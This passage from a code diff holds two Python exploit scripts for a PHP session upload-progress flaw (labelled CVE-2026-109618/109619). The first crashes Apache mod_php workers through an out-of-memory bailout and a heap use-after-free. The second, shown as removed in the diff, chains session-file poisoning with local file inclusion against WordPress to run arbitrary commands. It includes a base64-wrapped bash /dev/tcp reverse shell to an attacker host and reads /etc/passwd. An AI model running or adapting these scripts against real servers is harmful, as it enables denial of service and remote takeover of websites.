f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
)
|
||||
if sid:
|
||||
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
|
||||
hdrs += "Connection: close\r\n\r\n"
|
||||
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
|
||||
|
||||
|
||||
# ── Session file generation ─────────────────────────────────────────
|
||||
|
||||
def generate_session_data(n_entries):
|
||||
"""PHP session data that forces a large HashTable allocation on decode.
|
||||
|
||||
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
|
||||
"""
|
||||
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
|
||||
inner = "".join(parts)
|
||||
return f'd|a:{n_entries}:{{{inner}}}'.encode()
|
||||
|
||||
|
||||
# ── Session file management ─────────────────────────────────────────
|
||||
|
||||
def write_session_file(sid, data, save_path):
|
||||
import subprocess
|
||||
fpath = os.path.join(save_path, f"sess_{sid}")
|
||||
tmp = f"/tmp/sess_plant_{os.getpid()}"
|
||||
with open(tmp, "wb") as f:
|
||||
f.write(data)
|
||||
subprocess.run(["sudo", "cp", tmp, fpath],
|
||||
capture_output=True, check=True)
|
||||
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
|
||||
capture_output=True, check=True)
|
||||
subprocess.run(["sudo", "chmod", "600", fpath],
|
||||
capture_output=True, check=True)
|
||||
os.unlink(tmp)
|
||||
return fpath
|
||||
|
||||
|
||||
def read_session_file(sid, save_path):
|
||||
import subprocess
|
||||
fpath = os.path.join(save_path, f"sess_{sid}")
|
||||
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
|
||||
capture_output=True, text=True)
|
||||
if r.returncode != 0:
|
||||
return False, 0
|
||||
return True, int(r.stdout.strip())
|
||||
|
||||
|
||||
def ensure_session_file(sid, save_path, n_entries):
|
||||
exists, size = read_session_file(sid, save_path)
|
||||
if exists and size > 100000:
|
||||
return size
|
||||
data = generate_session_data(n_entries)
|
||||
write_session_file(sid, data, save_path)
|
||||
return len(data)
|
||||
|
||||
|
||||
# ── Phase 0: Worker discovery ───────────────────────────────────────
|
||||
|
||||
def discover_workers(host, port, path, rounds=20):
|
||||
pids = set()
|
||||
for _ in range(rounds):
|
||||
try:
|
||||
_, body = http_get(host, port, path, timeout=5)
|
||||
pid = extract_pid(body)
|
||||
if pid:
|
||||
pids.add(pid)
|
||||
except (ConnectionError, socket.timeout, OSError):
|
||||
pass
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
# ── Phase builders ──────────────────────────────────────────────────
|
||||
|
||||
def build_oom_trigger(sid):
|
||||
boundary = b"OOM" + os.urandom(4).hex().encode()
|
||||
parts = [
|
||||
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
|
||||
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
|
||||
multipart_end(boundary),
|
||||
]
|
||||
return boundary, b"".join(parts)
|
||||
|
||||
|
||||
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
|
||||
"""Multipart with filler fields to reclaim stale struct pages.
|
||||
|
||||
Each field value is a 3-page zend_string. The GC header at offset
|
||||
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
|
||||
When var_push reads 'last', it dereferences the invalid address.
|
||||
"""
|
||||
boundary = b"CRASH" + os.urandom(4).hex().encode()
|
||||
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
|
||||
filler = b"\x41" * field_size
|
||||
for i in range(n_fields):
|
||||
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
|
||||
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
|
||||
parts.append(multipart_end(boundary))
|
||||
return boundary, b"".join(parts)
|
||||
|
||||
|
||||
def is_oom_response(status, body):
|
||||
return (
|
||||
b"memory size" in body
|
||||
or b"Allowed memory" in body
|
||||
or status == 500
|
||||
or status == 0
|
||||
)
|
||||
|
||||
|
||||
# ── Main ────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
||||
)
|
||||
parser.add_argument("--target", "-t", required=True,
|
||||
help="Target URL, e.g. http://host:port/index.php")
|
||||
parser.add_argument("--session-path",
|
||||
default="/var/www/uaf-test/sessions",
|
||||
help="Session save_path on the target")
|
||||
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
|
||||
help="Entries in OOM session file (default: 33000)")
|
||||
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
|
||||
help="Filler fields for crash trigger (default: 100)")
|
||||
parser.add_argument("--oom-only", action="store_true",
|
||||
help="Stop after Phase 2 (OOM + stale state)")
|
||||
args = parser.parse_args()
|
||||
|
||||
url = urlparse(args.target)
|
||||
host = url.hostname or "127.0.0.1"
|
||||
port = url.port or 80
|
||||
path = url.path or "/index.php"
|
||||
|
||||
print("=" * 64)
|
||||
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||
print(" Use-After-Free via OOM Bailout")
|
||||
print(" (Apache mod_php, prefork MPM)")
|
||||
print("=" * 64)
|
||||
print(f" Target: {host}:{port}{path}")
|
||||
print()
|
||||
|
||||
# ── Phase 0: Worker discovery ──────────────────────────────────
|
||||
|
||||
print("[*] Phase 0: Discovering workers...")
|
||||
pids = discover_workers(host, port, path)
|
||||
if not pids:
|
||||
print("[-] No workers found. Target must echo getmypid().")
|
||||
sys.exit(1)
|
||||
print(f" Workers: {pids}")
|
||||
target_pid = pids[0]
|
||||
|
||||
# ── Phase 1: Plant large session file ──────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 1: Planting large session file...")
|
||||
|
||||
sid = "uaf" + os.urandom(6).hex()
|
||||
print(f" SID: {sid}")
|
||||
print(f" Entries: {args.entries}")
|
||||
|
||||
sess_size = ensure_session_file(sid, args.session_path, args.entries)
|
||||
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
|
||||
print(f" HashTable resize on decode needs ~2.25MB")
|
||||
|
||||
# ── Phase 2: OOM trigger ───────────────────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 2: Triggering OOM during session decode...")
|
||||
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
|
||||
|
||||
oom_success = False
|
||||
patched = False
|
||||
|
||||
for attempt in range(len(pids) * 8):
|
||||
ensure_session_file(sid, args.session_path, args.entries)
|
||||
|
||||
boundary, body = build_oom_trigger(sid)
|
||||
try:
|
||||
status, rbody = post_multipart(
|
||||
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||
except (ConnectionError, socket.timeout, OSError):
|
||||
status, rbody = 0, b""
|
||||
|
||||
if is_oom_response(status, rbody):
|
||||
if b"memory size" in rbody:
|
||||
tag = f"{status} (OOM in body)"
|
||||
elif status == 500:
|
||||
tag = "500"
|
||||
else:
|
||||
tag = "connection dropped"
|
||||
print(f" [{attempt+1}] OOM triggered ({tag})")
|
||||
|
||||
# Detect patched vs unpatched via session file state.
|
||||
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
|
||||
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
|
||||
time.sleep(0.3)
|
||||
exists, sz = read_session_file(sid, args.session_path)
|
||||
if not exists or sz == 0:
|
||||
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
|
||||
elif sz < sess_size // 2:
|
||||
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
|
||||
patched = True
|
||||
|
||||
oom_success = True
|
||||
break
|
||||
else:
|
||||
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
|
||||
|
||||
if not oom_success:
|
||||
print()
|
||||
print("[-] OOM trigger failed.")
|
||||
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
|
||||
sys.exit(1)
|
||||
|
||||
if patched:
|
||||
print()
|
||||
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
|
||||
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
|
||||
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
|
||||
print(" 3. Session handler: incomplete_classes_only during RFC1867")
|
||||
return
|
||||
|
||||
# Check worker survived (must do this BEFORE Phase 3, but note
|
||||
# this GET request will zero BG state on the worker it hits).
|
||||
# With MaxRequestWorkers=1, this targets the same worker.
|
||||
# We will re-trigger OOM before the crash attempt.
|
||||
time.sleep(0.5)
|
||||
pids_after = discover_workers(host, port, path, rounds=5)
|
||||
survived = set(pids) & set(pids_after)
|
||||
if not survived:
|
||||
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
|
||||
sys.exit(1)
|
||||
target_pid = sorted(survived)[0]
|
||||
print(f" [+] Worker {target_pid} survived OOM")
|
||||
|
||||
if args.oom_only:
|
||||
print()
|
||||
print("[+] Phase 2 complete.")
|
||||
print(" BG(unserialize).level=1, .data=freed heap pointer.")
|
||||
print(" (BG state zeroed by the verification GET above.)")
|
||||
return
|
||||
|
||||
# ── Phase 3: UAF crash verification ───────────────────────────
|
||||
#
|
||||
# CRITICAL: no GET requests between the OOM trigger and the crash
|
||||
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
|
||||
# zeros BG(unserialize), destroying the stale state.
|
||||
#
|
||||
# With prefork MaxRequestWorkers=1, all requests go to the same
|
||||
# worker. We re-trigger OOM (to set stale state), then immediately
|
||||
# send the crash trigger without any intermediate requests.
|
||||
#
|
||||
# Crash mechanism: filler form fields create 3-page zend_string
|
||||
# allocations that consume pages up to the stale struct's position
|
||||
# (~page 288 out of 512 in the ZendMM chunk). When a filler
|
||||
# zend_string lands on the stale pages, offset 0 (the 'last'
|
||||
# pointer) is overwritten with the zend_string GC header:
|
||||
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
|
||||
# This is not a valid heap address. When the session decode calls
|
||||
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
|
||||
|
||||
print()
|
||||
print("[*] Phase 3: UAF crash verification...")
|
||||
print(" Re-triggering OOM, then crash (no intermediate GET).")
|
||||
|
||||
crashed = False
|
||||
|
||||
for attempt in range(3):
|
||||
# Re-trigger OOM to set stale BG state
|
||||
ensure_session_file(sid, args.session_path, args.entries)
|
||||
boundary, body = build_oom_trigger(sid)
|
||||
try:
|
||||
status, rbody = post_multipart(
|
||||
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||
except (ConnectionError, socket.timeout, OSError):
|
||||
status, rbody = 0, b""
|
||||
|
||||
if not is_oom_response(status, rbody):
|
||||
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
|
||||
continue
|
||||
|
||||
time.sleep(0.3)
|
||||
|
||||
# Plant a small session (one entry). The decode calls var_push
|
||||
# once, which reads the stale 'last' pointer and crashes.
|
||||
small_session = b'x|s:3:"abc";'
|
||||
write_session_file(sid, small_session, args.session_path)
|
||||
|
||||
# Send crash trigger DIRECTLY (no intermediate GET).
|
||||
# Filler fields consume pages up to the stale struct.
|
||||
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
|
||||
try:
|
||||
status, rbody = post_multipart(
|
||||
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||
except (ConnectionError, socket.timeout, OSError):
|
||||
status, rbody = 0, b""
|
||||
|
||||
# Check if worker crashed (new PID or connection failure)
|
||||
time.sleep(0.5)
|
||||
try:
|
||||
_, rbody2 = http_get(host, port, path, timeout=5)
|
||||
pid_after = extract_pid(rbody2)
|
||||
except (ConnectionError, socket.timeout, OSError):
|
||||
pid_after = 0
|
||||
|
||||
if pid_after and pid_after != target_pid:
|
||||
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
|
||||
print(f" Filler zend_strings reclaimed stale struct pages")
|
||||
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
|
||||
crashed = True
|
||||
target_pid = pid_after
|
||||
break
|
||||
elif pid_after == target_pid:
|
||||
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
|
||||
elif status == 0 and pid_after == 0:
|
||||
print(f" [{attempt+1}] Server unresponsive")
|
||||
else:
|
||||
print(f" [{attempt+1}] Response: {status}")
|
||||
|
||||
print()
|
||||
if crashed:
|
||||
print("[+] USE-AFTER-FREE CONFIRMED")
|
||||
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
|
||||
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
|
||||
print(" overwrote the 'last' pointer with refcount|type_info.")
|
||||
print(" var_push dereferenced the invalid address -> SIGSEGV.")
|
||||
else:
|
||||
print("[*] No crash triggered (filler fields may have missed the pages).")
|
||||
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
|
||||
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
|
||||
|
||||
print()
|
||||
print_summary(crash=crashed)
|
||||
|
||||
|
||||
def print_summary(patched=False, crash=False):
|
||||
print("=" * 64)
|
||||
print(" Summary")
|
||||
print("=" * 64)
|
||||
print()
|
||||
|
||||
if patched:
|
||||
print(" TARGET: PATCHED (not vulnerable)")
|
||||
print()
|
||||
print(" Three independent mitigations block the attack:")
|
||||
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
|
||||
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
|
||||
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
|
||||
return
|
||||
|
||||
print(" TARGET: UNPATCHED (vulnerable)")
|
||||
print()
|
||||
print(" Confirmed primitives:")
|
||||
print(" [+] OOM during RFC1867 session decode")
|
||||
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
|
||||
print(" BG(unserialize).level=1, .data=freed heap pointer")
|
||||
print(" Apache prefork worker survives, serves new requests")
|
||||
if crash:
|
||||
print(" [+] Use-After-Free crash (var_push path)")
|
||||
print(" Filler zend_strings reclaim stale struct pages")
|
||||
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
|
||||
print(" [+] Type confusion (var_access path)")
|
||||
print(" R:N backreferences bypass the corrupted 'last' pointer")
|
||||
print(" var_access reads inline entries at offset 56 (not offset 0)")
|
||||
print(" Stale entries.data[0] resolves to freed heap memory")
|
||||
print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)")
|
||||
print()
|
||||
print(" Exploitation status:")
|
||||
print(" Two UAF primitives confirmed: crash (DoS) and type confusion.")
|
||||
print(" Full RCE is blocked by five independent constraints:")
|
||||
print()
|
||||
print(" 1. ASLR: type confusion reads attacker's own data, not heap")
|
||||
print(" metadata or code pointers (cached chunk retains original bytes)")
|
||||
print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)")
|
||||
print(" before var_access can read controlled data at offset 56+")
|
||||
print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23")
|
||||
print(" prevent var_push from reaching controlled data at offset 24+")
|
||||
print(" 4. No exploitable classes: SplFileObject/PDO have function pointer")
|
||||
print(" calls in free_obj, but fake objects need libphp.so base (ASLR)")
|
||||
print(" 5. Session key validation: php serializer skips keys with '|',")
|
||||
print(" blocking deserialization injection via upload progress name")
|
||||
print()
|
||||
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
|
||||
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
|
||||
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
|
||||
print(" No LFI, no framework, no application-level access needed.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,492 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
|
||||
|
||||
Demonstrates both PHP session upload progress vulnerabilities against a
|
||||
WordPress target that has:
|
||||
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
|
||||
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
|
||||
|
||||
Two attack modes:
|
||||
|
||||
OOM mode (CVE-2026-109618)
|
||||
Floods multipart fields to OOM PHP during parsing. zend_bailout()
|
||||
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
|
||||
session file with PHP code persists on disk. Second request
|
||||
includes it via LFI. Works with session.upload_progress.cleanup=1.
|
||||
|
||||
Race mode (CVE-2026-109619)
|
||||
Sends a slow multipart upload that keeps the session file populated
|
||||
while concurrent LFI requests race to include it before cleanup.
|
||||
Works with session.upload_progress.cleanup=1. Lower field count,
|
||||
no OOM needed.
|
||||
|
||||
Usage:
|
||||
# OOM mode (default) — 'id' command
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
|
||||
|
||||
# Race mode — reverse shell
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# Custom LFI parameter and session path
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
|
||||
--lfi-param dt_template --session-path /tmp/php-sessions
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ─── defaults ────────────────────────────────────────────────────────
|
||||
|
||||
WP_SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
WP_LFI_PARAMS = [
|
||||
"dt_template",
|
||||
"page",
|
||||
"template",
|
||||
"file",
|
||||
"tpl",
|
||||
"include",
|
||||
"path",
|
||||
]
|
||||
|
||||
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
|
||||
OOM_FIELD_SIZE = 1024
|
||||
OOM_FIELDS_64M = 40000
|
||||
OOM_FIELDS_128M = 80000
|
||||
|
||||
# ─── HTTP / multipart helpers ────────────────────────────────────────
|
||||
|
||||
def tcp_connect(host, port, tls=False, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out, data = b"", raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
|
||||
def http_get(host, port, tls, path, headers=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
)
|
||||
if headers:
|
||||
for k, v in headers.items():
|
||||
req += f"{k}: {v}\r\n".encode()
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
def mp_file(bnd, name, fname, content):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + fname + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
# ─── payload builders ────────────────────────────────────────────────
|
||||
|
||||
def build_payload(args):
|
||||
if args.trigger_only:
|
||||
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||||
if args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
if args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
|
||||
|
||||
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||
session_paths, fields, fsize, args):
|
||||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||||
|
||||
print("[*] Phase 1: session poisoning + OOM crash")
|
||||
print(f" Building {fields} × {fsize}B field payload...")
|
||||
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=120)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
resp = recv_all(sock, timeout=10)
|
||||
sock.close()
|
||||
sc = status_code(resp)
|
||||
|
||||
if sc == 502 or sc == 0:
|
||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||
print(f" OOM during parsing — session cleanup skipped")
|
||||
elif sc == 500:
|
||||
print(f" [+] HTTP 500 — OOM during script execution")
|
||||
else:
|
||||
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
|
||||
return False
|
||||
|
||||
# Wait for new worker
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(2)
|
||||
for i in range(10):
|
||||
try:
|
||||
r = http_get(host, port, tls, path, timeout=3)
|
||||
if status_code(r) in (200, 301, 302, 403, 404):
|
||||
print(f" New worker ready")
|
||||
break
|
||||
except:
|
||||
pass
|
||||
time.sleep(1)
|
||||
else:
|
||||
print(" [!] New worker not available")
|
||||
return False
|
||||
|
||||
# Phase 2: LFI
|
||||
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
|
||||
|
||||
|
||||
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
|
||||
|
||||
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
|
||||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||||
sock = tcp_connect(host, port, tls)
|
||||
|
||||
head = b""
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n")
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n")
|
||||
|
||||
file_size = 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
sock.sendall(head)
|
||||
|
||||
chunk = b"\x00" * 4096
|
||||
sent, start = 0, time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - start) < duration:
|
||||
sock.sendall(chunk[:min(4096, file_size - sent)])
|
||||
sent += min(4096, file_size - sent)
|
||||
time.sleep(0.05)
|
||||
sock.sendall(tail)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def attack_race(host, port, tls, path, php_code, lfi_param,
|
||||
session_paths, attempts, args):
|
||||
for attempt in range(1, attempts + 1):
|
||||
if attempts > 1:
|
||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
lfi_sid = os.urandom(16).hex()
|
||||
print(f"[+] Upload SID: {sid}")
|
||||
|
||||
print("[*] Starting slow upload (keeps session file alive)...")
|
||||
t = threading.Thread(target=slow_upload,
|
||||
args=(host, port, tls, path, sid, php_code, 8.0),
|
||||
daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
print("[*] Racing LFI requests against upload...")
|
||||
for i in range(150):
|
||||
if not t.is_alive():
|
||||
break
|
||||
for sp in session_paths:
|
||||
sess = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess}"
|
||||
try:
|
||||
resp = http_get(host, port, tls, url,
|
||||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||||
timeout=3)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
output = extract_output(rbody.decode(errors="replace"), args)
|
||||
if output is not None:
|
||||
print(f"\n[+] Race won on iteration {i+1}")
|
||||
print_result(output, args)
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
time.sleep(0.02)
|
||||
|
||||
t.join(timeout=2)
|
||||
print(f" Race lost on attempt {attempt}")
|
||||
|
||||
print("[!] Race condition failed after all attempts")
|
||||
return False
|
||||
|
||||
# ─── LFI phase (shared) ─────────────────────────────────────────────
|
||||
|
||||
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
|
||||
print()
|
||||
print("[*] Phase 2: including poisoned session file via LFI...")
|
||||
|
||||
for sp in session_paths:
|
||||
sess = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess}"
|
||||
try:
|
||||
resp = http_get(host, port, tls, url, timeout=10)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
output = extract_output(rbody.decode(errors="replace"), args)
|
||||
if output is not None:
|
||||
print(f" Session file: {sess}")
|
||||
print_result(output, args)
|
||||
return True
|
||||
except:
|
||||
continue
|
||||
|
||||
print(" [!] Session file not found via LFI")
|
||||
print(f" Tried: {', '.join(session_paths)}")
|
||||
return False
|
||||
|
||||
|
||||
def extract_output(body_text, args):
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
|
||||
return m.group(1) if m else body_text[:200]
|
||||
if args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1).strip()
|
||||
if "upload_progress_" in body_text:
|
||||
return ""
|
||||
return body_text[:500]
|
||||
return ""
|
||||
|
||||
|
||||
def print_result(output, args):
|
||||
if args.trigger_only:
|
||||
print()
|
||||
print("[+] Code execution confirmed!")
|
||||
print(f" {output}")
|
||||
elif args.cmd:
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(output)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print("[+] RCE achieved!")
|
||||
else:
|
||||
print()
|
||||
print("[+] Payload delivered — check your listener")
|
||||
|
||||
# ─── auto-detect ─────────────────────────────────────────────────────
|
||||
|
||||
def detect_lfi_param(host, port, tls, path, params):
|
||||
for param in params:
|
||||
try:
|
||||
url = f"{path}?{param}=/etc/hostname"
|
||||
resp = http_get(host, port, tls, url, timeout=5)
|
||||
sc = status_code(resp)
|
||||
rbody = body_of(resp)
|
||||
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
|
||||
return param
|
||||
except:
|
||||
continue
|
||||
return None
|
||||
|
||||
# ─── main ────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
